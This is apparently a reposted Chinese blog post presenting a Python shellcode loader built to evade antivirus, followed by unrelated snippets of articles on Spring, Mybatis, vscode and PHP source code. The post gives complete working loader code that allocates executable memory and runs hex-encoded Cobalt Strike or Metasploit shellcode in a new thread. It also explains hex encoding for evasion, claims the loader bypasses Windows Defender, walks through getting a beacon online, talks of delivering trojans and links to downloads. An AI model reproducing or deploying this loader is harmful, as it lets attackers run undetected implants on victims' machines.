[源码]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

0x001 原理

采用分离法,即将ShellCode和加载器分离。方法较LOW但免杀。

本文主要将ShellCode转成HEX,再通过加载器执行ShellCode。

PS: 何为SC加载器,即专门用于加载所提供ShellCode的工具。

如同HTTP发包工具,支持提交HTTP,写死参数最多只能叫EXP。

再详细点,打个比方,你只会炒一个菜,你敢说你是厨师吗?

0x002 ShellCode免杀

CS可生成很多种格式的ShellCode,具体该用哪一种呢?

由于部分杀软会查杀ShellCode文件,所以不能直接使用RAW。

其实不用测都知道HEX字串肯定比RAW或标准C格式安全。

因为RAW和标准C格式一直以来都比较常用,被杀一点都不奇怪。

当然实际上使用任意格式都可以,前提是需要加解密。

下面我们拿CS3.13的ShellCode来做个对比,结果如下

CS生成Raw格式的ShellCode被7个杀软查杀(payload.bin)
http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635
将CS的ShellCode转成Hex无一杀软查杀(hex.txt)
http://r.virscan.org/language/zh-cn/report/fe7412921c7acc9d69b0da72793cd57d

0x003 加载器

以python为例,这个无脑的语言开发比较快。要使用其它加解密算法也非常简单

缺点就是文件有点大而已,不过问题不大,毕竟在免杀面前2M也是能接受的哈哈。

其它语言也同理啊,大家不要纠结用什么语言来写工具。用PY只是便于大家理解

scrun.py代码:

#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

下面以前写的加载器,GUI的专门用于本地测试ShellCode是否正常用的,在测试漏洞的时候,

首先先保证你的ShellCode是可运行的吧,要不然漏洞没问题,马没上线,你说漏洞不行就乱来了。

除了PY和C#以外,VC、Delphi、VB的SC加载都有写过,Delphi版的在博客里就能找到例子。

 0x004 实战

1.首先使用CS生成标准C格式的payload,格式(\xfc\xe8\x89\x00)在飞刀里我定义为Char格式

2.因为CS没有直接生成HEX格式的功能,所以需要使用K8飞刀将其转换成HEX格式。

具体步骤:选中Char格式的Shellcode,右键-Hacking--ShellCode--Char2Hex

其它溢出漏洞使用的ShellCode格式,均可使用飞刀进行转换或反转成标准格式

3.使用scrun.exe加载Hex格式的ShellCode,发现我们的CS上线了。

如果我没记错此方式目前也还能过Win10系统自带的Defender

不知大家有没发现Hex字符串除了不被杀以外,还无需落地

而Bin文件需要落地且被Defender杀(这个我肯定没有记错)

0x005 下载

https://github.com/k8gege/scrun

https://github.com/k8gege/K8tools/blob/master/scrun.exe

https://github.com/k8gege/K8tools/blob/master/scrun.py

PS:网上有些文章把aspx加载shellcode称为分离Payload,难道只有EXE才叫Payload?

那么SQL注入时的SQL语句为什么叫Payload?远程代码执行的代码为什么叫Payload?

溢出漏洞的ShellCode为什么叫Payload? ShellCode写死在加载器里的显然不叫分离。

此时的加载器已经不叫加载器了,正如HTTP发包工具,支持任意HTTP发包。

但是把参数写死的HTTP发包,为什么只是叫XX利用工具,而不是叫发包工具。

同理,ShellCode加载器专门用于加载各类ShellCode的才叫加载器。

其实以前也写过VC版的加载器,只是方法较LOW,需要多一个文件或传参执行不适合发马

发马又得想方设法将其捆绑成一个文件,捆绑可能还会被杀,VC被杀得比较历害。

ShellCode加密分离后,因为最终执行需解必,拼按时就被杀了,都还没得加载。

所以从未打算使用这种LOW方法免杀,一般是没能力做单文件免杀才需要分离。

而不是现在一些人认为所谓高级新的免杀方法,这种小儿科,在刚接触这行时就会了

看看07-12年那会,捆绑还多么流行,木马切割成多文件合并免杀的思路会没人想到?

现在是因为捆绑可能导致更容易被杀,没办法才被迫使用分离,毕竟能一文件谁愿多文件

当然单文件我也可以做,只是费点时间,懒得做而已。相关APT文章里就很多方法

基本都是白名单加载DLL,DLL释放各种加密文件,再解密执行,最终加载CS而已。

原文地址:https://www.cnblogs.com/k8gege/p/11223393.html

时间: 2024-10-09 16:24:37

[源码]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)的相关文章

【Spring源码分析】非懒加载的Bean实例化过程(下篇)

doCreateBean方法 上文[Spring源码分析]非懒加载的Bean实例化过程(上篇),分析了单例的Bean初始化流程,并跟踪代码进入了主流程,看到了Bean是如何被实例化出来的.先贴一下AbstractAutowireCapableBeanFactory的doCreateBean方法代码: 1 protected Object doCreateBean(final String beanName, final RootBeanDefinition mbd, final Object[]

spring源码阅读之Bean的加载(二)

在正式分析源码之前,先来了解一下SpringBeans里面最核心的两个类  DefaultListableBeanFactory XMLBean继承自 DefaultListableBeanFactory,而 DefaultListableBeanFactory是整个Bean加载的核心部分,是Sprin注册及加载Bean的默认实现,而对于XmlBeanFactory与 DefaultListableBeanFactory不同的地方其实就是在XmlBeanFactory中使用了自定义的XML读取器

Mybatis 源码分析--Configuration.xml配置文件加载到内存

(补充知识点: 1 byte(字节)=8 bit(位) 通常一个标准英文字母占一个字节位置,一个标准汉字占两个字节位置:字符的例子有:字母.数字系统或标点符号) 1.创建SqlSessionFactory ①Reader reader = Resources.getResourceAsReader("mybatis-config.xml");                       //获取mybatis配置文件的字符 注解:Resources类是在mybatis中定义的一个类:g

MQTT---HiveMQ源码详解(四)插件加载

实现功能 将所有放在plugins目录下的所有符合plugin编写规范的plugin jar包加载到整个guice context中 实现步骤 1.找到所有plugin目录下的所有jar包 2.分别找到jar包中META-INF/services/com.hivemq.spi.HiveMQPluginModule文件读取第三方plugin配置的HiveMQPluginModule子类全路径 3.然后依次实例化它. 类图 这次的类图比上次的相比简单多了,加载机制也跟其他的有plugin机制的加载比

【Spring】从源码分析Spring配置文件的加载

使用Spring必须在web.xml中写如下配置: <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <context-param> <param-name>contextConfigLocation</param-name> <param-valu

vscode源码分析【八】加载第一个画面

第一篇: vscode源码分析[一]从源码运行vscode 第二篇:vscode源码分析[二]程序的启动逻辑,第一个窗口是如何创建的 第三篇:vscode源码分析[三]程序的启动逻辑,性能问题的追踪 第四篇:vscode源码分析[四]程序启动的逻辑,最初创建的服务 第五篇:vscode源码分析[五]事件分发机制 第六篇:vscode源码分析[六]服务实例化和单例的实现 第七篇:vscode源码分析[七]主进程启动消息通信服务 先复习一下! 在第一节中,我们提到: app.ts(src\vs\co

Dubbo源码分析系列---扩展点加载

扩展点配置: 约定: 在扩展类的jar包内,放置扩展点配置文件:META-INF/dubbo/接口全限定名,内容为:配置名=扩展实现类全限定名,多个实现类用换行符分隔.(摘自dubbo文档) 示例: 假如我现在想使用自己定义的协议Myprotocol,在resources目录下新建META-INF/dubbo/com.alibaba.dubbo.rpc.Protocol目录文件,文件内容定义: myprotocol=com.selrain.MyProtocol 实现类内容: public cla

【Nutch2.2.1源码分析之一】Nutch加载配置文件的方法

1.NutchConfiguration.java用于加载及获取Nutch的相关参数. Utility to create Hadoop Configurations that include Nutch-specific  resources. 即它会加载hadoop及nutch中的参数文件. 关键是2个create()方法,它加载了参数文件的同时,又返回了Configuration对象. 2.不带参数的create方法 public static Configuration create()

laravel的源码解析:PHP自动加载功能原理解析

前言 这篇文章是对PHP自动加载功能的一个总结,内容涉及PHP的自动加载功能.PHP的命名空间.PHP的PSR0与PSR4标准等内容. 一.PHP自动加载功能 PHP自动加载功能的由来 在PHP开发过程中,如果希望从外部引入一个 class,通常会使用 include 和 require 方法,去把定义这个 class 的文件包含进来.这个在小规模开发的时候,没什么大问题.但在大型的开发项目中,使用这种方式会带来一些隐含的问题:如果一个 PHP 文件需要使用很多其它类,那么就需要很多的 requ